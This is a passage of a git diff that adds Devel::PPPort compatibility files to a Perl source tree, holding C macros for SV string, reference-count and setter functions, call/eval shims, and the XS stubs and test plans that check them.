+=tests plan => 3
+
+ok(&Devel::PPPort::MY_CXT_1());
+ok(&Devel::PPPort::MY_CXT_2());
+ok(&Devel::PPPort::MY_CXT_CLONE());
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvPV b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvPV
new file mode 100644
index 00000000000..4f0ded321c2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvPV
@@ -0,0 +1,534 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+SvPVbyte
+sv_2pvbyte
+sv_2pv_flags
+sv_pvn_force_flags
+
+=dontwarn
+
+NEED_sv_2pv_flags
+NEED_sv_2pv_flags_GLOBAL
+
+=implementation
+
+/* Backwards compatibility stuff... :-( */
+#if !defined(NEED_sv_2pv_flags) && defined(NEED_sv_2pv_nolen)
+# define NEED_sv_2pv_flags
+#endif
+#if !defined(NEED_sv_2pv_flags_GLOBAL) && defined(NEED_sv_2pv_nolen_GLOBAL)
+# define NEED_sv_2pv_flags_GLOBAL
+#endif
+
+/* Hint: sv_2pv_nolen
+ * Use the SvPV_nolen() or SvPV_nolen_const() macros instead of sv_2pv_nolen().
+ */
+
+__UNDEFINED__ sv_2pv_nolen(sv) SvPV_nolen(sv)
+
+#ifdef SvPVbyte
+
+/* Hint: SvPVbyte
+ * Does not work in perl-5.6.1, ppport.h implements a version
+ * borrowed from perl-5.7.3.
+ */
+
+#if { VERSION < 5.7.0 }
+
+#if { NEED sv_2pvbyte }
+
+char *
+sv_2pvbyte(pTHX_ SV *sv, STRLEN *lp)
+{
+ sv_utf8_downgrade(sv,0);
+ return SvPV(sv,*lp);
+}
+
+#endif
+
+/* Hint: sv_2pvbyte
+ * Use the SvPVbyte() macro instead of sv_2pvbyte().
+ */
+
+#undef SvPVbyte
+
+#define SvPVbyte(sv, lp) \
+ ((SvFLAGS(sv) & (SVf_POK|SVf_UTF8)) == (SVf_POK) \
+ ? ((lp = SvCUR(sv)), SvPVX(sv)) : sv_2pvbyte(sv, &lp))
+
+#endif
+
+#else
+
+# define SvPVbyte SvPV
+# define sv_2pvbyte sv_2pv
+
+#endif
+
+__UNDEFINED__ sv_2pvbyte_nolen(sv) sv_2pv_nolen(sv)
+
+/* Hint: sv_pvn
+ * Always use the SvPV() macro instead of sv_pvn().
+ */
+
+/* Hint: sv_pvn_force
+ * Always use the SvPV_force() macro instead of sv_pvn_force().
+ */
+
+/* If these are undefined, they're not handled by the core anyway */
+__UNDEFINED__ SV_IMMEDIATE_UNREF 0
+__UNDEFINED__ SV_GMAGIC 0
+__UNDEFINED__ SV_COW_DROP_PV 0
+__UNDEFINED__ SV_UTF8_NO_ENCODING 0
+__UNDEFINED__ SV_NOSTEAL 0
+__UNDEFINED__ SV_CONST_RETURN 0
+__UNDEFINED__ SV_MUTABLE_RETURN 0
+__UNDEFINED__ SV_SMAGIC 0
+__UNDEFINED__ SV_HAS_TRAILING_NUL 0
+__UNDEFINED__ SV_COW_SHARED_HASH_KEYS 0
+
+#if { VERSION < 5.7.2 }
+
+#if { NEED sv_2pv_flags }
+
+char *
+sv_2pv_flags(pTHX_ SV *sv, STRLEN *lp, I32 flags)
+{
+ STRLEN n_a = (STRLEN) flags;
+ return sv_2pv(sv, lp ? lp : &n_a);
+}
+
+#endif
+
+#if { NEED sv_pvn_force_flags }
+
+char *
+sv_pvn_force_flags(pTHX_ SV *sv, STRLEN *lp, I32 flags)
+{
+ STRLEN n_a = (STRLEN) flags;
+ return sv_pvn_force(sv, lp ? lp : &n_a);
+}
+
+#endif
+
+#endif
+
+#if { VERSION < 5.8.8 } || ( { VERSION >= 5.9.0 } && { VERSION < 5.9.3 } )
+# define D_PPP_SVPV_NOLEN_LP_ARG &PL_na
+#else
+# define D_PPP_SVPV_NOLEN_LP_ARG 0
+#endif
+
+__UNDEFINED__ SvPV_const(sv, lp) SvPV_flags_const(sv, lp, SV_GMAGIC)
+__UNDEFINED__ SvPV_mutable(sv, lp) SvPV_flags_mutable(sv, lp, SV_GMAGIC)
+
+__UNDEFINED__ SvPV_flags(sv, lp, flags) \
+ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+ ? ((lp = SvCUR(sv)), SvPVX(sv)) : sv_2pv_flags(sv, &lp, flags))
+
+__UNDEFINED__ SvPV_flags_const(sv, lp, flags) \
+ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+ ? ((lp = SvCUR(sv)), SvPVX_const(sv)) : \
+ (const char*) sv_2pv_flags(sv, &lp, flags|SV_CONST_RETURN))
+
+__UNDEFINED__ SvPV_flags_const_nolen(sv, flags) \
+ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+ ? SvPVX_const(sv) : \
+ (const char*) sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, flags|SV_CONST_RETURN))
+
+__UNDEFINED__ SvPV_flags_mutable(sv, lp, flags) \
+ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+ ? ((lp = SvCUR(sv)), SvPVX_mutable(sv)) : \
+ sv_2pv_flags(sv, &lp, flags|SV_MUTABLE_RETURN))
+
+__UNDEFINED__ SvPV_force(sv, lp) SvPV_force_flags(sv, lp, SV_GMAGIC)
+__UNDEFINED__ SvPV_force_nolen(sv) SvPV_force_flags_nolen(sv, SV_GMAGIC)
+__UNDEFINED__ SvPV_force_mutable(sv, lp) SvPV_force_flags_mutable(sv, lp, SV_GMAGIC)
+__UNDEFINED__ SvPV_force_nomg(sv, lp) SvPV_force_flags(sv, lp, 0)
+__UNDEFINED__ SvPV_force_nomg_nolen(sv) SvPV_force_flags_nolen(sv, 0)
+
+__UNDEFINED__ SvPV_force_flags(sv, lp, flags) \
+ ((SvFLAGS(sv) & (SVf_POK|SVf_THINKFIRST)) == SVf_POK \
+ ? ((lp = SvCUR(sv)), SvPVX(sv)) : sv_pvn_force_flags(sv, &lp, flags))
+
+__UNDEFINED__ SvPV_force_flags_nolen(sv, flags) \
+ ((SvFLAGS(sv) & (SVf_POK|SVf_THINKFIRST)) == SVf_POK \
+ ? SvPVX(sv) : sv_pvn_force_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, flags))
+
+__UNDEFINED__ SvPV_force_flags_mutable(sv, lp, flags) \
+ ((SvFLAGS(sv) & (SVf_POK|SVf_THINKFIRST)) == SVf_POK \
+ ? ((lp = SvCUR(sv)), SvPVX_mutable(sv)) \
+ : sv_pvn_force_flags(sv, &lp, flags|SV_MUTABLE_RETURN))
+
+__UNDEFINED__ SvPV_nolen(sv) \
+ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+ ? SvPVX(sv) : sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, SV_GMAGIC))
+
+__UNDEFINED__ SvPV_nolen_const(sv) \
+ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+ ? SvPVX_const(sv) : sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, SV_GMAGIC|SV_CONST_RETURN))
+
+__UNDEFINED__ SvPV_nomg(sv, lp) SvPV_flags(sv, lp, 0)
+__UNDEFINED__ SvPV_nomg_const(sv, lp) SvPV_flags_const(sv, lp, 0)
+__UNDEFINED__ SvPV_nomg_const_nolen(sv) SvPV_flags_const_nolen(sv, 0)
+__UNDEFINED__ SvPV_nomg_nolen(sv) ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+ ? SvPVX(sv) : sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, 0))
+
+__UNDEFINED__ SvPV_renew(sv,n) STMT_START { SvLEN_set(sv, n); \
+ SvPV_set((sv), (char *) saferealloc( \
+ (Malloc_t)SvPVX(sv), (MEM_SIZE)((n)))); \
+ } STMT_END
+
+=xsinit
+
+#define NEED_sv_2pv_flags
+#define NEED_sv_pvn_force_flags
+#define NEED_sv_2pvbyte
+
+=xsubs
+
+IV
+SvPVbyte(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPVbyte(sv, len);
+ RETVAL = strEQ(str, "mhx") ? (IV) len : (IV) -1;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_nolen(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ CODE:
+ str = SvPV_nolen(sv);
+ RETVAL = strEQ(str, "mhx") ? 42 : 0;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_const(sv)
+ SV *sv
+ PREINIT:
+ const char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_const(sv, len);
+ RETVAL = len + (strEQ(str, "mhx") ? 40 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_mutable(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_mutable(sv, len);
+ RETVAL = len + (strEQ(str, "mhx") ? 41 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_flags(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_flags(sv, len, SV_GMAGIC);
+ RETVAL = len + (strEQ(str, "mhx") ? 42 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_flags_const(sv)
+ SV *sv
+ PREINIT:
+ const char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_flags_const(sv, len, SV_GMAGIC);
+ RETVAL = len + (strEQ(str, "mhx") ? 43 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_flags_const_nolen(sv)
+ SV *sv
+ PREINIT:
+ const char *str;
+ CODE:
+ str = SvPV_flags_const_nolen(sv, SV_GMAGIC);
+ RETVAL = strEQ(str, "mhx") ? 47 : 0;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_flags_mutable(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_flags_mutable(sv, len, SV_GMAGIC);
+ RETVAL = len + (strEQ(str, "mhx") ? 45 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_force(sv, len);
+ RETVAL = len + (strEQ(str, "mhx") ? 46 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force_nolen(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ CODE:
+ str = SvPV_force_nolen(sv);
+ RETVAL = strEQ(str, "mhx") ? 50 : 0;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force_mutable(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_force_mutable(sv, len);
+ RETVAL = len + (strEQ(str, "mhx") ? 48 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force_nomg(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_force_nomg(sv, len);
+ RETVAL = len + (strEQ(str, "mhx") ? 49 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force_nomg_nolen(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ CODE:
+ str = SvPV_force_nomg_nolen(sv);
+ RETVAL = strEQ(str, "mhx") ? 53 : 0;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force_flags(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_force_flags(sv, len, SV_GMAGIC);
+ RETVAL = len + (strEQ(str, "mhx") ? 51 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force_flags_nolen(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ CODE:
+ str = SvPV_force_flags_nolen(sv, SV_GMAGIC);
+ RETVAL = strEQ(str, "mhx") ? 55 : 0;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_force_flags_mutable(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_force_flags_mutable(sv, len, SV_GMAGIC);
+ RETVAL = len + (strEQ(str, "mhx") ? 53 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_nolen_const(sv)
+ SV *sv
+ PREINIT:
+ const char *str;
+ CODE:
+ str = SvPV_nolen_const(sv);
+ RETVAL = strEQ(str, "mhx") ? 57 : 0;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_nomg(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_nomg(sv, len);
+ RETVAL = len + (strEQ(str, "mhx") ? 55 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_nomg_const(sv)
+ SV *sv
+ PREINIT:
+ const char *str;
+ STRLEN len;
+ CODE:
+ str = SvPV_nomg_const(sv, len);
+ RETVAL = len + (strEQ(str, "mhx") ? 56 : 0);
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_nomg_const_nolen(sv)
+ SV *sv
+ PREINIT:
+ const char *str;
+ CODE:
+ str = SvPV_nomg_const_nolen(sv);
+ RETVAL = strEQ(str, "mhx") ? 60 : 0;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_nomg_nolen(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ CODE:
+ str = SvPV_nomg_nolen(sv);
+ RETVAL = strEQ(str, "mhx") ? 61 : 0;
+ OUTPUT:
+ RETVAL
+
+void
+SvPV_renew(sv, nlen, insv)
+ SV *sv
+ STRLEN nlen
+ SV *insv
+ PREINIT:
+ STRLEN slen;
+ const char *str;
+ PPCODE:
+ str = SvPV_const(insv, slen);
+ XPUSHs(sv);
+ mXPUSHi(SvLEN(sv));
+ SvPV_renew(sv, nlen);
+ Copy(str, SvPVX(sv), slen + 1, char);
+ SvCUR_set(sv, slen);
+ mXPUSHi(SvLEN(sv));
+
+
+=tests plan => 49
+
+my $mhx = "mhx";
+
+ok(&Devel::PPPort::SvPVbyte($mhx), 3);
+
+my $i = 42;
+
+ok(&Devel::PPPort::SvPV_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_mutable($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags_const($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_flags_const_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags_mutable($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_mutable($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_force_nomg($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_nomg_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags_mutable($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_nolen_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_const_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_nolen($mhx), $i++);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_const($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_mutable($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_const($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_const_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_mutable($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_mutable($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nomg($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nomg_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags_mutable($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_nolen_const($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_const($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_const_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_nolen($mhx), 0);
+
+my $str = "";
+&Devel::PPPort::SvPV_force($str);
+my($s2, $before, $after) = &Devel::PPPort::SvPV_renew($str, 81, "x"x80);
+ok($str, "x"x80);
+ok($s2, "x"x80);
+ok($before < 81);
+ok($after, 81);
+
+$str = "x"x400;
+&Devel::PPPort::SvPV_force($str);
+($s2, $before, $after) = &Devel::PPPort::SvPV_renew($str, 41, "x"x40);
+ok($str, "x"x40);
+ok($s2, "x"x40);
+ok($before > 41);
+ok($after, 41);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvREFCNT b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvREFCNT
new file mode 100644
index 00000000000..422aa58ac86
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvREFCNT
@@ -0,0 +1,123 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+SvREFCNT_inc
+SvREFCNT_inc_simple
+SvREFCNT_inc_NN
+SvREFCNT_inc_void
+__UNDEFINED__
+
+=implementation
+
+#ifndef SvREFCNT_inc
+# ifdef PERL_USE_GCC_BRACE_GROUPS
+# define SvREFCNT_inc(sv) \
+ ({ \
+ SV * const _sv = (SV*)(sv); \
+ if (_sv) \
+ (SvREFCNT(_sv))++; \
+ _sv; \
+ })
+# else
+# define SvREFCNT_inc(sv) \
+ ((PL_Sv=(SV*)(sv)) ? (++(SvREFCNT(PL_Sv)),PL_Sv) : NULL)
+# endif
+#endif
+
+#ifndef SvREFCNT_inc_simple
+# ifdef PERL_USE_GCC_BRACE_GROUPS
+# define SvREFCNT_inc_simple(sv) \
+ ({ \
+ if (sv) \
+ (SvREFCNT(sv))++; \
+ (SV *)(sv); \
+ })
+# else
+# define SvREFCNT_inc_simple(sv) \
+ ((sv) ? (SvREFCNT(sv)++,(SV*)(sv)) : NULL)
+# endif
+#endif
+
+#ifndef SvREFCNT_inc_NN
+# ifdef PERL_USE_GCC_BRACE_GROUPS
+# define SvREFCNT_inc_NN(sv) \
+ ({ \
+ SV * const _sv = (SV*)(sv); \
+ SvREFCNT(_sv)++; \
+ _sv; \
+ })
+# else
+# define SvREFCNT_inc_NN(sv) \
+ (PL_Sv=(SV*)(sv),++(SvREFCNT(PL_Sv)),PL_Sv)
+# endif
+#endif
+
+#ifndef SvREFCNT_inc_void
+# ifdef PERL_USE_GCC_BRACE_GROUPS
+# define SvREFCNT_inc_void(sv) \
+ ({ \
+ SV * const _sv = (SV*)(sv); \
+ if (_sv) \
+ (void)(SvREFCNT(_sv)++); \
+ })
+# else
+# define SvREFCNT_inc_void(sv) \
+ (void)((PL_Sv=(SV*)(sv)) ? ++(SvREFCNT(PL_Sv)) : 0)
+# endif
+#endif
+
+__UNDEFINED__ SvREFCNT_inc_simple_void(sv) STMT_START { if (sv) SvREFCNT(sv)++; } STMT_END
+__UNDEFINED__ SvREFCNT_inc_simple_NN(sv) (++SvREFCNT(sv), (SV*)(sv))
+__UNDEFINED__ SvREFCNT_inc_void_NN(sv) (void)(++SvREFCNT((SV*)(sv)))
+__UNDEFINED__ SvREFCNT_inc_simple_void_NN(sv) (void)(++SvREFCNT((SV*)(sv)))
+
+=xsubs
+
+void
+SvREFCNT()
+ PREINIT:
+ SV *sv, *svr;
+ PPCODE:
+ sv = newSV(0);
+ mXPUSHi(SvREFCNT(sv) == 1);
+ svr = SvREFCNT_inc(sv);
+ mXPUSHi(sv == svr);
+ mXPUSHi(SvREFCNT(sv) == 2);
+ svr = SvREFCNT_inc_simple(sv);
+ mXPUSHi(sv == svr);
+ mXPUSHi(SvREFCNT(sv) == 3);
+ svr = SvREFCNT_inc_NN(sv);
+ mXPUSHi(sv == svr);
+ mXPUSHi(SvREFCNT(sv) == 4);
+ svr = SvREFCNT_inc_simple_NN(sv);
+ mXPUSHi(sv == svr);
+ mXPUSHi(SvREFCNT(sv) == 5);
+ SvREFCNT_inc_void(sv);
+ mXPUSHi(SvREFCNT(sv) == 6);
+ SvREFCNT_inc_simple_void(sv);
+ mXPUSHi(SvREFCNT(sv) == 7);
+ SvREFCNT_inc_void_NN(sv);
+ mXPUSHi(SvREFCNT(sv) == 8);
+ SvREFCNT_inc_simple_void_NN(sv);
+ mXPUSHi(SvREFCNT(sv) == 9);
+ while (SvREFCNT(sv) > 1)
+ SvREFCNT_dec(sv);
+ mXPUSHi(SvREFCNT(sv) == 1);
+ SvREFCNT_dec(sv);
+ XSRETURN(14);
+
+=tests plan => 14
+
+for (Devel::PPPort::SvREFCNT()) {
+ ok(defined $_ and $_);
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/Sv_set b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/Sv_set
new file mode 100644
index 00000000000..30452aee66f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/Sv_set
@@ -0,0 +1,118 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+__UNDEFINED__ SvMAGIC_set(sv, val) \
+ STMT_START { assert(SvTYPE(sv) >= SVt_PVMG); \
+ (((XPVMG*) SvANY(sv))->xmg_magic = (val)); } STMT_END
+
+#if { VERSION < 5.9.3 }
+
+__UNDEFINED__ SvPVX_const(sv) ((const char*) (0 + SvPVX(sv)))
+__UNDEFINED__ SvPVX_mutable(sv) (0 + SvPVX(sv))
+
+__UNDEFINED__ SvRV_set(sv, val) \
+ STMT_START { assert(SvTYPE(sv) >= SVt_RV); \
+ (((XRV*) SvANY(sv))->xrv_rv = (val)); } STMT_END
+
+#else
+
+__UNDEFINED__ SvPVX_const(sv) ((const char*)((sv)->sv_u.svu_pv))
+__UNDEFINED__ SvPVX_mutable(sv) ((sv)->sv_u.svu_pv)
+
+__UNDEFINED__ SvRV_set(sv, val) \
+ STMT_START { assert(SvTYPE(sv) >= SVt_RV); \
+ ((sv)->sv_u.svu_rv = (val)); } STMT_END
+
+#endif
+
+__UNDEFINED__ SvSTASH_set(sv, val) \
+ STMT_START { assert(SvTYPE(sv) >= SVt_PVMG); \
+ (((XPVMG*) SvANY(sv))->xmg_stash = (val)); } STMT_END
+
+#if { VERSION < 5.004 }
+
+__UNDEFINED__ SvUV_set(sv, val) \
+ STMT_START { assert(SvTYPE(sv) == SVt_IV || SvTYPE(sv) >= SVt_PVIV); \
+ (((XPVIV*) SvANY(sv))->xiv_iv = (IV) (val)); } STMT_END
+
+#else
+
+__UNDEFINED__ SvUV_set(sv, val) \
+ STMT_START { assert(SvTYPE(sv) == SVt_IV || SvTYPE(sv) >= SVt_PVIV); \
+ (((XPVUV*) SvANY(sv))->xuv_uv = (val)); } STMT_END
+
+#endif
+
+=xsubs
+
+IV
+TestSvUV_set(sv, val)
+ SV *sv
+ UV val
+ CODE:
+ SvUV_set(sv, val);
+ RETVAL = SvUVX(sv) == val ? 42 : -1;
+ OUTPUT:
+ RETVAL
+
+IV
+TestSvPVX_const(sv)
+ SV *sv
+ CODE:
+ RETVAL = strEQ(SvPVX_const(sv), "mhx") ? 43 : -1;
+ OUTPUT:
+ RETVAL
+
+IV
+TestSvPVX_mutable(sv)
+ SV *sv
+ CODE:
+ RETVAL = strEQ(SvPVX_mutable(sv), "mhx") ? 44 : -1;
+ OUTPUT:
+ RETVAL
+
+void
+TestSvSTASH_set(sv, name)
+ SV *sv
+ char *name
+ CODE:
+ sv = SvRV(sv);
+ SvREFCNT_dec(SvSTASH(sv));
+ SvSTASH_set(sv, (HV*) SvREFCNT_inc(gv_stashpv(name, 0)));
+
+=tests plan => 5
+
+my $foo = 5;
+ok(&Devel::PPPort::TestSvUV_set($foo, 12345), 42);
+ok(&Devel::PPPort::TestSvPVX_const("mhx"), 43);
+ok(&Devel::PPPort::TestSvPVX_mutable("mhx"), 44);
+
+my $bar = [];
+
+bless $bar, 'foo';
+ok($bar->x(), 'foobar');
+
+Devel::PPPort::TestSvSTASH_set($bar, 'bar');
+ok($bar->x(), 'hacker');
+
+package foo;
+
+sub x { 'foobar' }
+
+package bar;
+
+sub x { 'hacker' }
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/call b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/call
new file mode 100644
index 00000000000..7c46cbb450a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/call
@@ -0,0 +1,364 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+eval_pv
+eval_sv
+call_sv
+call_pv
+call_argv
+call_method
+load_module
+vload_module
+G_METHOD
+
+=implementation
+
+/* Replace: 1 */
+__UNDEFINED__ call_sv perl_call_sv
+__UNDEFINED__ call_pv perl_call_pv
+__UNDEFINED__ call_argv perl_call_argv
+__UNDEFINED__ call_method perl_call_method
+
+__UNDEFINED__ eval_sv perl_eval_sv
+/* Replace: 0 */
+
+__UNDEFINED__ PERL_LOADMOD_DENY 0x1
+__UNDEFINED__ PERL_LOADMOD_NOIMPORT 0x2
+__UNDEFINED__ PERL_LOADMOD_IMPORT_OPS 0x4
+
+#ifndef G_METHOD
+# define G_METHOD 64
+# ifdef call_sv
+# undef call_sv
+# endif
+# if { VERSION < 5.6.0 }
+# define call_sv(sv, flags) ((flags) & G_METHOD ? perl_call_method((char *) SvPV_nolen_const(sv), \
+ (flags) & ~G_METHOD) : perl_call_sv(sv, flags))
+# else
+# define call_sv(sv, flags) ((flags) & G_METHOD ? Perl_call_method(aTHX_ (char *) SvPV_nolen_const(sv), \
+ (flags) & ~G_METHOD) : Perl_call_sv(aTHX_ sv, flags))
+# endif
+#endif
+
+/* Replace perl_eval_pv with eval_pv */
+
+#ifndef eval_pv
+#if { NEED eval_pv }
+
+SV*
+eval_pv(char *p, I32 croak_on_error)
+{
+ dSP;
+ SV* sv = newSVpv(p, 0);
+
+ PUSHMARK(sp);
+ eval_sv(sv, G_SCALAR);
+ SvREFCNT_dec(sv);
+
+ SPAGAIN;
+ sv = POPs;
+ PUTBACK;
+
+ if (croak_on_error && SvTRUEx(ERRSV))
+ croak_sv(ERRSV);
+
+ return sv;
+}
+
+#endif
+#endif
+
+#ifndef vload_module
+#if { NEED vload_module }
+
+void
+vload_module(U32 flags, SV *name, SV *ver, va_list *args)
+{
+ dTHR;
+ dVAR;
+ OP *veop, *imop;
+
+ OP * const modname = newSVOP(OP_CONST, 0, name);
+ /* 5.005 has a somewhat hacky force_normal that doesn't croak on
+ SvREADONLY() if PL_compling is true. Current perls take care in
+ ck_require() to correctly turn off SvREADONLY before calling
+ force_normal_flags(). This seems a better fix than fudging PL_compling
+ */
+ SvREADONLY_off(((SVOP*)modname)->op_sv);
+ modname->op_private |= OPpCONST_BARE;
+ if (ver) {
+ veop = newSVOP(OP_CONST, 0, ver);
+ }
+ else
+ veop = NULL;
+ if (flags & PERL_LOADMOD_NOIMPORT) {
+ imop = sawparens(newNULLLIST());
+ }
+ else if (flags & PERL_LOADMOD_IMPORT_OPS) {
+ imop = va_arg(*args, OP*);
+ }
+ else {
+ SV *sv;
+ imop = NULL;
+ sv = va_arg(*args, SV*);
+ while (sv) {
+ imop = append_elem(OP_LIST, imop, newSVOP(OP_CONST, 0, sv));
+ sv = va_arg(*args, SV*);
+ }
+ }
+ {
+ const line_t ocopline = PL_copline;
+ COP * const ocurcop = PL_curcop;
+ const int oexpect = PL_expect;
+
+#if { VERSION >= 5.004 }
+ utilize(!(flags & PERL_LOADMOD_DENY), start_subparse(FALSE, 0),
+ veop, modname, imop);
+#elif { VERSION > 5.003 }
